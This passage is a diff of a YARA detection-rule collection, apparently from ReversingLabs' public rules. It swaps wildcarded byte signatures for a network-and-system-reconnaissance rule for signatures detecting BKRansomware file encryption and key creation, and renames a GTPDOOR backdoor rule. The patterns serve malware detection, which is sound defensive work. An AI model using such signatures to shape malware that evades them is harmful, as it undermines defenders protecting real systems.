EE 41 8B FE 48 8B D9 48 8B 05 ?? ?? ?? ?? 44 - 3B B8 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? ?? 44 39 74 39 ?? 0F 84 ?? ?? - ?? ?? 48 8B 4C 39 ?? 41 FF C7 48 83 F9 ?? 0F 84 ?? ?? ?? ?? 49 8B D0 FF 15 ?? ?? ?? - ?? 85 C0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? ?? 74 ?? 44 89 74 24 ?? 48 8D 84 24 - ?? ?? ?? ?? 44 89 B4 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 39 ?? BA ?? ?? ?? ?? 41 - B8 ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 41 B0 ?? 48 8B - 81 ?? ?? ?? ?? 44 88 74 07 ?? 8B C5 48 6B D0 ?? 48 03 91 ?? ?? ?? ?? E8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 48 8B 4C 39 ?? 49 8B D5 FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 85 C0 - 74 ?? 4C 8B 81 ?? ?? ?? ?? 42 80 7C 07 ?? ?? 75 ?? 8B C5 48 6B D0 ?? 49 03 D0 E8 ?? - ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 49 8B D5 48 8B 4C 39 ?? FF 15 ?? - ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B D3 44 8B E0 48 8B 89 ?? ?? ?? ?? 48 8B 4C 39 ?? - FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 44 8B F0 48 8B 9E ?? ?? ?? ?? 48 03 DF 83 7B - ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 48 2B 43 ?? 48 83 F8 - ?? 7E ?? 48 83 4B ?? ?? 45 33 F6 44 89 73 ?? 41 B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 85 - } - $network_communication_p2 = { - F6 74 ?? 48 8B 15 ?? ?? ?? ?? 45 33 C9 48 8B 4B ?? 41 B8 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 45 33 F6 85 C0 74 ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 3D ?? - ?? ?? ?? 75 ?? 41 8B C6 EB ?? 85 C0 78 ?? 01 43 ?? BA ?? ?? ?? ?? 4C 8B 0D ?? ?? ?? - ?? 48 8B CE 44 8B 43 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 4B ?? FF 15 ?? ?? ?? - ?? 48 83 4B ?? ?? E9 ?? ?? ?? ?? 45 33 F6 45 85 E4 0F 84 ?? ?? ?? ?? 44 8B 43 ?? 45 - 85 C0 0F 84 ?? ?? ?? ?? 48 8B 53 ?? 45 33 C9 48 8B 4B ?? FF 15 ?? ?? ?? ?? 83 F8 ?? - 75 ?? FF 15 ?? ?? ?? ?? 48 8B 4B ?? FF 15 ?? ?? ?? ?? 48 83 4B ?? ?? 41 B8 ?? ?? ?? - ?? 48 8B D3 44 89 73 ?? 48 8B CE E8 ?? ?? ?? ?? EB ?? 48 8B 4B ?? 29 43 ?? 44 8B 43 - ?? 01 43 ?? 48 63 D0 48 03 D1 E8 ?? ?? ?? ?? 8A 4B ?? F6 C1 ?? 74 ?? 8B 43 ?? C1 E8 - ?? 39 43 ?? 77 ?? 44 8B 43 ?? 80 E1 ?? 45 33 C9 88 4B ?? 48 8B CE 44 89 74 24 ?? 41 - 8D 51 ?? E8 ?? ?? ?? ?? F6 43 ?? ?? 74 ?? 44 39 73 ?? 75 ?? 45 33 C0 48 8B D3 48 8B - CE E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? FF C5 48 83 C7 ?? - 81 FD ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F - 41 5E 41 5D 41 5C 5F 5E 5D C3 - } - $get_system_information = { - 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 41 54 41 55 41 56 41 57 48 8B EC 48 - 81 EC ?? ?? ?? ?? 48 8B F9 48 8D 4D ?? FF 15 ?? ?? ?? ?? 4C 8B 75 ?? 48 81 FF ?? ?? - ?? ?? 76 ?? 48 8D 87 ?? ?? ?? ?? 4C 3B F0 4C 0F 42 F0 48 8B 1D ?? ?? ?? ?? 4C 8D A7 - ?? ?? ?? ?? 4C 39 65 ?? 4C 0F 46 65 ?? 49 81 EC ?? ?? ?? ?? 33 F6 48 85 DB 74 ?? 49 - 3B DE 72 ?? 49 3B DC 73 ?? 48 39 73 ?? 0F 85 ?? ?? ?? ?? 48 8B 1B EB ?? 4C 8B FF 49 - 3B FE 72 ?? 44 8B 6D ?? 33 D2 49 8B C7 49 F7 F5 4C 2B FA 4D 2B FD 4D 3B FE 72 ?? 41 - B8 ?? ?? ?? ?? 48 8D 55 ?? 49 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 81 7D ?? ?? ?? - ?? ?? 74 ?? 4C 8B 7D ?? 4D 3B FD 72 ?? EB ?? 4D 85 FF 74 ?? BA ?? ?? ?? ?? 41 B9 ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? - ?? ?? 4D 3B FE 73 ?? 48 85 DB 0F 85 ?? ?? ?? ?? 49 3B FC 0F 87 ?? ?? ?? ?? 44 8B 7D - ?? 33 D2 48 8B C7 45 8B F7 49 F7 F7 41 8B C7 48 2B C2 48 03 C7 48 8B F8 49 3B C4 0F - 87 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 0F - 84 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 33 D2 41 8D 7F ?? 48 03 7D ?? 48 03 7D ?? - 48 8B C7 49 F7 F6 48 2B FA 49 3B FC EB ?? 48 85 FF 74 ?? BA ?? ?? ?? ?? 41 B9 ?? ?? - ?? ?? 41 B8 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 E9 ?? ?? ?? ?? - 48 8D 4B ?? 89 73 ?? BA ?? ?? ?? ?? 48 89 31 48 8B C1 48 89 4B ?? 48 83 C2 ?? 48 83 - C1 ?? 48 8B F0 48 81 FA ?? ?? ?? ?? 76 ?? 48 8B 05 ?? ?? ?? ?? 48 89 03 48 89 1D ?? - ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 48 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B - E3 41 5F 41 5E 41 5D 41 5C 5D C3 + $encrypt_files = { + 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 57 FF 75 ?? 33 FF 89 7D ?? FF 15 ?? ?? ?? ?? 83 F8 + ?? 0F 84 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 53 56 57 BE + ?? ?? ?? ?? 56 6A ?? 57 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB + ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F + 82 ?? ?? ?? ?? 6A ?? 57 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 57 8D 45 ?? 50 56 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 39 75 + ?? 0F 85 ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 3B + 45 ?? 0F 84 ?? ?? ?? ?? 39 7D ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? B9 ?? ?? + ?? ?? 3B C1 72 ?? 89 4D ?? EB ?? 83 E0 ?? 89 45 ?? 57 FF 75 ?? 57 6A ?? 57 53 FF 15 + ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? FF 75 ?? 57 57 6A ?? 50 FF 15 ?? ?? ?? + ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 FF + 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 + FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 57 57 + 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? + 57 57 53 89 45 ?? FF 15 ?? ?? ?? ?? 57 8D 45 ?? 50 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 + 53 FF D6 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF D6 C7 45 ?? ?? ?? ?? ?? FF 75 ?? FF + 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? + ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 5E 5B 8B 45 ?? 5F 83 C5 ?? C9 C2 } - $get_dns_servers_p1 = { - 4C 8B DC 49 89 5B ?? 55 56 57 41 56 41 57 48 83 EC ?? 83 64 24 ?? ?? 49 8D 43 ?? 33 - D2 49 89 43 ?? 49 83 63 ?? ?? 45 33 C9 45 33 C0 8D 7A ?? 8B CF FF 15 ?? ?? ?? ?? 8B - 44 24 ?? 8D 6F ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C8 8B D5 E8 ?? ?? ?? ?? 48 8B D8 48 85 - C0 0F 84 ?? ?? ?? ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 33 D2 48 89 5C - 24 ?? 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0B 8B D5 C1 E1 ?? 03 CD E8 - ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33 FF 39 3B 76 ?? 8B 4C BB ?? FF 15 ?? ?? ?? ?? - 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 8B 03 2B C5 3B F8 73 ?? 48 8D 15 ?? ?? ?? ?? 48 - 8B CE FF 15 ?? ?? ?? ?? 03 FD 3B 3B 72 ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D6 48 - 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? 48 8B CB 4C 8B F0 - E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 45 33 F6 83 64 24 ?? ?? 48 8D 44 24 ?? - 48 89 44 24 ?? 45 33 C9 48 83 64 24 ?? ?? 45 33 C0 33 D2 33 C9 FF 15 ?? ?? ?? ?? 8B - 44 24 ?? 85 C0 74 ?? 8D 48 ?? 48 8B D5 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8D + $create_key_file = { + 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? 33 F6 89 75 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 45 + ?? 50 56 6A ?? 56 FF 35 ?? ?? ?? ?? FF D7 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 + ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 56 56 56 FF 75 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? + 53 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B F8 3B FE 0F 84 ?? ?? ?? ?? 56 6A + ?? 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 + FF 15 ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? + 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 68 + ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7D ?? + ?? ?? ?? ?? 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? 57 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B D8 3B DE 74 ?? 89 75 ?? 8B 45 + ?? 56 FF 74 85 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 57 FF 15 ?? ?? ?? ?? FF + 45 ?? 83 7D ?? ?? 72 ?? 53 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 5B FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B 45 ?? 5E 83 C5 ?? C9 C2 } - $get_dns_servers_p2 = { - 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 33 D2 48 89 5C 24 ?? 33 C9 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D3 48 8D 0D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 8B E8 EB ?? 48 8B CB E8 ?? ?? ?? ?? 33 ED 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 8D 53 ?? 8D - 4F ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 4C 8B C7 48 8D 15 ?? ?? ?? ?? 4D 03 C0 - 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D3 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 4C 8B F8 48 85 DB 74 ?? 48 8B CB E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 - ED 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4D 8B C7 48 0F 45 D5 49 8B CE 48 83 64 - 24 ?? ?? 48 8B F0 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 49 - 8B CE 48 8B D8 E8 ?? ?? ?? ?? 48 8B CD E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 8B - CE E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B C3 48 8B 5C 24 ?? 48 83 C4 ?? 41 5F - 41 5E 5F 5E 5D C3 + $create_key = { + 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 57 8D 45 ?? 50 8D 45 ?? 50 + 33 DB 53 6A ?? 53 FF 75 ?? BE ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 53 6A ?? 53 FF 35 ?? ?? ?? ?? + FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? + 53 53 53 FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? + 03 C8 51 6A ?? FF D6 8B F8 89 7D ?? 3B FB 0F 84 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 57 FF + 15 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 8B 45 ?? 03 C7 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 + C4 ?? 8D 45 ?? 50 8B 45 ?? 53 6A ?? 03 C8 51 57 8B 3D ?? ?? ?? ?? FF D7 85 C0 74 ?? + FF 75 ?? 6A ?? FF D6 8B F0 3B F3 74 ?? 8B 4D ?? 8D 45 ?? 50 8B 45 ?? 56 6A ?? 03 C8 + 51 FF 75 ?? FF D7 33 FF 38 1E 74 ?? 8B C6 80 38 ?? 75 ?? 40 40 8A 08 88 0C 37 47 40 + 38 18 75 ?? 88 1C 37 EB ?? 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 75 ?? FF 75 + ?? FF 15 ?? ?? ?? ?? 5F 5B EB ?? 8B 75 ?? 8B C6 5E 83 C5 ?? C9 C2 } - $get_network_interfaces_p1 = { - 48 8B C4 48 89 58 ?? 48 89 70 ?? 57 41 56 41 57 48 81 EC ?? ?? ?? ?? B9 ?? ?? ?? ?? - 89 48 ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? - 48 8B C8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CE E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8B - C3 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B CE FF - 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8B F6 48 85 F6 0F 84 ?? ?? ?? ?? 4C 8D 3D - ?? ?? ?? ?? 48 83 64 24 ?? ?? 48 8D 05 ?? ?? ?? ?? 4D 8D 86 ?? ?? ?? ?? 48 89 44 24 - ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 45 8B 8E ?? ?? ?? ?? 48 8B - F8 41 8B C9 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 - ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 F9 ?? 74 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? - 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D - 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 - ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? - ?? ?? ?? 45 33 C0 48 8B CF E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D 86 ?? ?? ?? ?? 48 + $create_lst_file = { + 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 53 56 68 ?? ?? ?? ?? 33 F6 6A ?? 89 75 ?? FF 15 ?? + ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 45 ?? 8B 38 8D 45 + ?? 50 53 83 C7 ?? FF 15 ?? ?? ?? ?? 03 C0 50 53 FF 75 ?? FF 17 8B 45 ?? 8B 08 8D 55 + ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 53 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 8B 08 + 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? + 8B 3D ?? ?? ?? ?? 56 56 56 56 6A ?? 50 56 68 ?? ?? ?? ?? FF D7 89 45 ?? 3B C6 0F 84 + ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 56 + 56 FF 75 ?? 50 6A ?? FF 75 ?? 56 68 ?? ?? ?? ?? FF D7 8D 45 ?? 50 6A ?? 68 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? 83 + C0 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D ?? + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 56 56 + 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 6A ?? 53 56 FF 15 ?? ?? ?? + ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 + ?? 57 53 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? + 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 + 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 7D ?? 75 ?? FF 75 ?? C7 45 ?? + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 3B FE 74 ?? 56 6A ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 FF 15 ?? ?? ?? ?? 83 + C4 ?? 56 57 53 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? + ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? + 5F 8B 45 ?? 8B 08 50 FF 51 ?? 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 5E 5B 83 C5 ?? C9 C2 } - $get_network_interfaces_p2 = { - 8B C8 48 8D 15 ?? ?? ?? ?? 4D 8B CF E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D 86 ?? ?? - ?? ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D - 86 ?? ?? ?? ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 41 83 BE ?? ?? - ?? ?? ?? 48 8B C8 74 ?? 48 83 64 24 ?? ?? 4D 8D 8E ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? - 4C 89 7C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 45 33 C0 48 8D 15 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 41 83 BE ?? ?? ?? ?? ?? 74 ?? 4D 8D 86 ?? ?? ?? ?? 45 33 C9 48 8D - 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4D 8D 86 ?? ?? ?? ?? 41 80 38 ?? 74 ?? 45 33 - C9 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4D 8B 36 48 8D 15 ?? ?? ?? ?? 45 33 - C0 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 4D 85 F6 0F 85 ?? ?? ?? ?? EB ?? 48 85 F6 74 ?? - 48 8B CE E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B CF 48 8B D8 E8 ?? ?? ?? ?? 48 - 8B C3 EB ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 - 5E 5F C3 + $enumerate_resources = { + 55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 BE ?? ?? ?? ?? 56 6A ?? FF D3 8B F8 89 7D ?? + 85 FF [2-8] 83 4D ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? 89 75 ?? E8 + ?? ?? ?? ?? 85 C0 75 ?? 39 45 ?? 74 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 [0-3] + E8 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 36 FF 15 ?? ?? ?? ?? 8D 44 00 ?? 50 6A + ?? FF D3 8B F8 85 FF 74 ?? FF 36 57 FF 15 ?? ?? ?? ?? [0-5] 57 E8 ?? ?? ?? + ?? 57 FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 75 ?? 8B 7D ?? 57 FF 15 ?? ?? ?? ?? FF 75 + ?? E8 ?? ?? ?? ?? 5F 5E 5B C9 C2 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( $get_system_information ) and ( all of ( $get_dns_servers_p* ) ) and ( all of ( $get_network_interfaces_p* ) ) + uint16( 0 ) == 0x5A4D and ( ( $create_key_file and $create_lst_file and $enumerate_resources and $encrypt_files ) or ( $create_key and $enumerate_resources and $encrypt_files ) ) } -rule REVERSINGLABS_Linux_Backdoor_GTPDOOR : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Bkransomware : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects GTPDOOR backdoor." + description = "Yara rule that detects BKRansomware ransomware." author = "ReversingLabs" - id = "9e6df856-fe54-504c-8530-321adc91cd5a" - date = "2024-09-10" - modified = "2024-09-10" + id = "88dc5c4a-046a-52e2-b108-0a90b91d4fb6" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.GTPDOOR.yara#L1-L264" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BKRansomware.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7b4b33b7838142e34c6d02260b6585305c4730c90e12b1adc099f9aeecf071a" + logic_hash = "3118098f05a13bd161af0cb1ec322878b371ff70b9f3815a04115a214c0965a2" score = 75 quality = 90 tags = 